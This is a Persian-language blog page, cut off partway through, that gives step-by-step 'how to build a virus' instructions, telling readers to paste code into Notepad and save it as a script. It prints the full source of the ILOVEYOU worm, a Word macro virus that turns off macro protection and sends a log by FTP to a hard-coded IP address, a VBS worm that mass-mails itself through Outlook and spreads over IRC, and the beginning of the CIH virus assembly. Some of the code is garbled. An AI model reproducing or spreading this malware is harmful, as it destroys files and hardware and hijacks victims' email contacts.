به شهر ترفند خوش آمدید

ویروس

نام ویروس : I love you
چگونگی ساخت این ویروس : یک Notepad باز کنید و متن زیر را در آن تایپ کنید و آنرا با فرمت .vbs سیوش کنید. خوب حالا کار ساخت این ویروس تمام شد فقط مراقب باشید آنرا در سیستم خود اجرا نکنید.

rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Run\MSKernel32 ",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\RunServices\Wi n32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\Run\WIN-BUGSFI X",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... windows will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - http://www.virus22.persianblog.com/"mailto:LOVELETTER@-@& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March http://www.virus22.persianblog.com/"mailto:2000@-@& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is http://www.virus22.persianblog.com/"mailto:good...@-@& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# -#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ http://www.virus22.persianblog.com/"mailto:BGCOLOR=@-@#FF9933@-@& _ "<CENTER>This HTML file need ActiveX Control<?-?p>To Enable to read this HTML file - Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<script http://www.virus22.persianblog.com/"mailto:language=@-@JScript@-@& _ ""&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<script http://www.virus22.persianblog.com/"mailto:LANGUAGE=@-@VBScript@-@& _ ""&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),""") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),""") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),""",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub </body> </html> </body> </html> </body> </html> </body> </html>

-------------------------------------------------------------------------------------------------------------------------

توضیح در مورد این ویروس: این ویروس نوع فعالیتش مشخص نمیباشد ولی از جمله ویروس های خطرناک میباشد .

چگونگی ساخت این ویروس: یک Notepad باز کنید و در آن متن زیر را تایپ کنید و آنرا با پسوند .vbs سیوش کنید. خوب حالا کار ساخت این ویروس تمام شد فقط مراقب باشید آنرا در سیستم خود اجرا نکنید.

Private Sub Document_Close() On Error Resume Next Const Marker = "<- this is a marker!" "Declare Variables Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean Dim ad, nt As Object Dim OurCode, UserAddress, LogData, LogFile As String "Initialize Variables Set ad = ActiveDocument.VBProject.VBComponents.Item(1) Set nt = NormalTemplate.VBProject.VBComponents.Item(1) DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000) NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000) "Switch the VirusProtection OFF Options.VirusProtection = False If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then If DocumentInfected = True Then LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines) ElseIf NormalTemplateInfected = True Then LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines) End If LogData = Mid(LogData, InStr(1, LogData, "" Log" & "file -->"), Len(LogData) - InStr(1, LogData, "" Log" & "file -->")) For I = 1 To 4 LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1) Next I LogFile = "C:\hsf" & LogFile & ".sys" Open LogFile For Output As #1 Print #1, LogData Close #1 Open "c:\netldx.vxd" For Output As #1 Print #1, "o 209.201.88.110" Print #1, "user anonymous" Print #1, "pass itsme@" Print #1, "cd incoming" Print #1, "ascii" Print #1, "put " & LogFile Print #1, "quit" Close #1 Shell "command.com /c ftp://ftp.exe/ -n -s:c:\netldx.vxd", vbHide System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True End If "Make sure that some conditions are true before we continue infecting anything If (DocumentInfected = True Xor NormalTemplateInfected = True) And _ (ActiveDocument.SaveFormat = wdFormatDocument Or _ ActiveDocument.SaveFormat = wdFormatTemplate) Then "Infect the NormalTemplate If DocumentInfected = True Then SaveNormalTemplate = NormalTemplate.Saved OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines) "Write a log file of this NormalTemplate infection For I = 1 To Len(Application.UserAddress) If Mid(Application.UserAddress, I, 1) <> Chr(13) Then If Mid(Application.UserAddress, I, 1) <> Chr(10) Then UserAddress = UserAddress & Mid(Application.UserAddress, I, 1) End If Else UserAddress = UserAddress & Chr(13) & "" " End If Next I OurCode = OurCode & Chr(13) & _ "" " & Format(Time, "hh:mm:ss AMPM - ") & _ Format(Date, "dddd, d mmm yyyy") & Chr(13) & _ "" " & Application.UserName & Chr(13) & _ "" " & UserAddress & Chr(13) nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines nt.CodeModule.AddFromString OurCode If SaveNormalTemplate = True Then NormalTemplate.Save End If "Infect the ActiveDocument If NormalTemplateInfected = True And _ (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _ ActiveDocument.Saved = False) Then SaveDocument = ActiveDocument.Saved OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines) ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines ad.CodeModule.AddFromString OurCode If SaveDocument = True Then ActiveDocument.Save End If End If End Sub

*****************************************

توضیح در مورد این ویروس: این ویروس فعالیت مشخصی نمیباشد ولی از جمله ویروس های خطرناک

میباشد .

sub Tune() On Error Resume Next Dim obj, sysfldr,s, f Set obj = CreateObject("Scripting.FileSystemObject") Set sysfldr = obj.GetSpecialFolder(1) Set winfldr = obj.GetSpecialFolder(0) Set tmpfldr = obj.GetSpecialFolder(2) set s = CreateObject("Scripting.FileSystemObject") Set f = s.GetFile(WScript.ScriptFullName) f.copy(sysfldr&"\tune.vbs") f.copy(winfldr&"\tune.vbs") f.copy(tmpfldr&"\tune.vbs") f.copy(sysfldr&"\kernel.vbs") f.copy(winfldr&"\winsck.vbs") f.copy(sysfldr&"\explorer.vbs") loc=winfldr&"\tune.vbs" loc1=sysfldr&"\tune.vbs" loc2=tmpfldr&"\tune.vbs" loc3=sysfldr&"\kernel.vbs" loc4=winfldr&"\winsck.vbs" loc5="explorer.vbs" Set WSHShell = CreateObject("WScript.Shell") WSHShell.RegWrite "HKCU\Software\Microsoft\windows\CurrentVersion\Run\ScanRegistry", loc WSHShell.RegWrite "HKLM\Software\Microsoft\windows\CurrentVersion\Run\", loc1 WSHShell.RegWrite "HKLM\Software\Microsoft\windows\CurrentVersion\RunServices\", loc2 editini winfldr&"\win.ini","[windows]","load",loc3 editini winfldr&"\win.ini","[windows]","run",loc4 editini winfldr&"\system.ini","[boot]","shell","Explorer.exe " & loc5 ntwrk() end sub sub infect(drive) On Error Resume Next set s = CreateObject("Scripting.FileSystemObject") Set f = s.GetFile(WScript.ScriptFullName) f.copy(drive & "\tune.vbs") path=drive&"\tune.vbs" end sub Function ShowDriveType(drvpath) On Error Resume Next Dim fso, d, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(drvpath) Select Case d.DriveType Case 0: t = "Unknown" Case 1: t = "Removable" Case 2: t = "Fixed" Case 3: t = "Network" Case 4: t = "CD-ROM" Case 5: t = "RAM Disk" End Select if t = "" then t = "None" ShowDriveType = t End Function sub ntwrk() On Error Resume Next for n = 65 to 90 l=Chr(n) drv=l&":" d3=ShowDriveType(drv) if d3 = "Fixed" then infect(drv) if d3 = "Network" then infect(drv) next sprd() end sub sub sprd() on error resume next Dim oShell Set oShell = Wscript.CreateObject("Wscript.Shell") Dim strProfile Dim strAlias, strAliasKey strProfile = oShell.RegRead("HKCU\Software\Microsoft\windows\CurrentVersion\Sent?") if strProfile = "" then oShell.RegWrite "HKCU\Software\Microsoft\windows\CurrentVersion\Sent?", "1" Set Prg = CreateObject("Outlook.Application") Set Prg1 = Prg.GetNameSpace("MAPI") For y = 1 To Prg1.AddressLists.Count Set AdBook = Prg1.AddressLists(y) x = 1 Set Maie = Prg.CreateItem(0) For oo = 1 To AdBook.AddressEntries.Count newmailadd = AdBook.AddressEntries(x) Maie.Recipients.Add newmailadd x = x + 1 Next Maie.Subject = "Please Read" Maie.Body = "Hey, you really need to check out this attached file I sent you...please check it out as soon as possible." Maie.Attachments.Add WScript.ScriptFullName Maie.DeleteAfterSubmit = False Maie.Send newmailadd="" next else end if etc() end sub sub etc() On Error Resume Next a=ReportFolderStatus("C:\mirc") if a="1" then mirc() b=ReportFolderStatus("C:\pirch98") if b="1" then pirch9x() end sub Tune() Function ReportFileStatus(filespec) On Error Resume Next Dim fso, msg Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FileExists(filespec)) Then msg = "1" Else msg = "0" End If ReportFileStatus = msg End Function Function ReportFolderStatus(fldr) On Error Resume Next Dim fso, msg Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FolderExists(fldr)) Then msg = "1" Else msg = "0" End If ReportFolderStatus = msg End Function sub mirc() On Error Resume Next Dim fso4, folder Set fso4 = CreateObject("Scripting.FileSystemObject") Set winfolder = fso4.GetSpecialFolder(1) path = winfolder&"\tune.vbs" Dim fso34, f132, t2s Const ForWriting = 2 Set fso34 = CreateObject("Scripting.FileSystemObject") fso34.CreateTextFile ("c:\mirc\script.ini") Set f132 = fso34.GetFile("c:\mirc\script.ini") Set t2s = f132.OpenAsTextStream(ForWriting, false) t2s.write "[script]" & vbcrlf t2s.write "n0=ON 1:JOIN:#:/dcc send $nick " & path & vbcrlf t2s.close editini "C:\mirc\mirc.ini","[text]","ignore","*.exe,*.com,*.bat,*.dll,*.ini,*.vbs" editini "C:\mirc\mirc.ini","[options]","n2","0,1,0,0,1,1,1,1,0,5,35,0,0,1,1,0,1,1,0, 5,500,10,0,1,1,0,0" editini "C:\mirc\mirc.ini","[options]","n4","1,0,1,1,0,3,9999,0,0,0,1,0,1024,0,0,99, 60,0,0,1,1,1,0,1,1,5000,1" end sub sub pirch9x() On Error Resume Next Dim fso4, folder Set fso4 = CreateObject("Scripting.FileSystemObject") Set winfolder = fso4.GetSpecialFolder(1) path = winfolder&"\tune.vbs" Dim fso, f1, ts Const ForWriting = 2 Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile ("c:\pirch98\events.ini") Set f1 = fso.GetFile("c:\pirch98\events.ini") Set ts = f1.OpenAsTextStream(ForWriting, false) ts.write "[Levels]"&vbcrlf ts.write "Enabled=1"&vbcrlf ts.write "Count=6"&vbcrlf ts.write "Level1=000-Unknowns"&vbcrlf ts.write "000-UnknownsEnabled=1"&vbcrlf ts.write "Level2=100-Level 100"&vbcrlf ts.write "100-Level 100Enabled=1"&vbcrlf ts.write "Level3=200-Level 200"&vbcrlf ts.write "200-Level 200Enabled=1"&vbcrlf ts.write "Level4=300-Level 300"&vbcrlf ts.write "300-Level 300Enabled=1"&vbcrlf ts.write "Level5=400-Level 400"&vbcrlf ts.write "400-Level 400Enabled=1"&vbcrlf ts.write "Level6=500-Level 500"&vbcrlf ts.write "500-Level 500Enabled=1"&vbcrlf ts.write vbcrlf ts.write "[000-Unknowns]"&vbcrlf ts.write "http://www.virus22.persianblog.com/"mailto:User1=*!*@*"&vbcrlf" ts.write "UserCount=1"&vbcrlf ts.write "Event1=ON JOIN:#:/msg $nick Hi there"&vbcrlf ts.write "EventCount=1"&vbcrlf ts.write vbcrlf ts.write "[100-Level 100]"&vbcrlf ts.write "http://www.virus22.persianblog.com/"mailto:User1=*!*@*"&vbcrlf" ts.write "UserCount=1"&vbcrlf ts.write "Event1=ON JOIN:#:/dcc send $nick " & path &vbcrlf ts.write "EventCount=1"&vbcrlf ts.write vbcrlf ts.write "[200-Level 200]"&vbcrlf ts.write "UserCount=0"&vbcrlf ts.write "EventCount=0"&vbcrlf ts.write vbcrlf ts.write "[300-Level 300]"&vbcrlf ts.write "UserCount=0"&vbcrlf ts.write "EventCount=0"&vbcrlf ts.write vbcrlf ts.write "[400-Level 400]"&vbcrlf ts.write "UserCount=0"&vbcrlf ts.write "EventCount=0"&vbcrlf ts.write vbcrlf ts.write "[500-Level 500]"&vbcrlf ts.write "UserCount=0"&vbcrlf ts.write "EventCount=0"&vbcrlf ts.write vbcrlf editini "C:\pirch98\pirch98.ini","[DCC]","AutoHideDccWin","1" end sub sub editini(filename,section,string,newvalue) on error resume next Const ForReading = 1 Const ForWriting = 2 iniFile = filename sectionName = section keyName = string newVlaue = newvalue bInSection = false bKeyChanged = false Set fso = CreateObject("Scripting.FileSystemObject") Set ts = fso.OpenTextFile(iniFile, ForReading) lines = Split(ts.ReadAll,vbCrLf) ts.close For n = 0 to ubound(lines) if left(lines(n),1) = "[" then if bInSection then exit for end if if instr(lines(n),sectionName) = 1 then bInSection = true else bInSection = false end if else if bInSection then if instr(lines(n),keyName & "=") = 1 then bKeyChanged = true lines(n) = keyName & "=" & newVlaue bKeyChanged = true exit for end if end if end if Next if bKeyChanged then Set ts = fso.OpenTextFile(iniFile, ForWriting) ts.Write join(lines,vbCrLf) ts.close end if set ts = nothing set fso = nothing end sub

*****************************************************************

نام ویروس: lower graphic card

توضیح در مورد این ویروس: این ویروس فضای کارد گرافیک را پر میکنه و دیگه هیچ بازی رو سیستم اجرا نمیشه.

چگونگی ساخت این ویروس: یک Notepad باز کنید و در آن متن زیر را تایپ کنید و آنرا با پسوند .bat سیوش کنید. خوب حالا کار ساخت این ویروس تمام شد فقط مراقب باشید آنرا در سیستم خود اجرا نکنید.
در اینجاcدرایوی است که ویندوز قربانی در اون است و اگه شما میدونید که ویندوز او
در یک درایو دیگه است با درایوcجایگزین کنید

c/windows/system32/jefo/display/memory/full

شنبه 26 اردیبهشت 1388 توسط حسین شربتی | نظرات ()

ویروس

نام ویروس : Good Gory

توضیح در مورد این ویروس: این ویروس نمی دانم چه کاری انجام میدهد .

چگونگی ساخت این ویروس: یک Notepad باز کنید و در آن متن زیر را تایپ کنید و آنرا با پسوند .bat سیوش کنید. خوب حالا کار ساخت این ویروس تمام شد فقط مراقب باشید آنرا در سیستم خود اجرا نکنید.

; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.4 * ; * Modification Time : 05/31/1998 * ; * * ; * Turbo Assembler Version 4.0 : tasm /m cih * ; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; * Modification History * ; *==========================================================================* ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesn"t Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesn"t be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also don"t be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *==========================================================================* ; * v1.1 1. Especially, the File that be Infected will not Increase * ; * it"s Size... ^__^ * ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * ; * When Exception Error Occurs, Our OS System should be in * ; * windows NT. So My Cute Virus will not Continue to Run, * ; * it will Jmup to Original Application to Run. * ; * 3. Use Better Algorithm, Reduce Virus Code Size. * ; * 4. The Virus "Basic" Size is only 796 Bytes. * ; *==========================================================================* ; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * ; * 2. Modify the Bug of v1.1 * ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * ; *==========================================================================* ; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * ; * So When Open WinZip Self-Extractor ==> Don"t Infect it. * ; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * ; *==========================================================================* ; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * ; * 2. Change the Date of Killing Computers. * ; * 05/31/1998 3. Modify Virus Version Copyright. * ; * 4. The Virus "Basic" Size is 1019 Bytes. * ; **************************************************************************** .586P ; **************************************************************************** ; * Original PE Executable File(Don"t Modify this Section) * ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; **************************************************************************** ; * My Virus Game * ; **************************************************************************** ; ********************************************************* ; * Constant Define * ; ********************************************************* TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 4 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 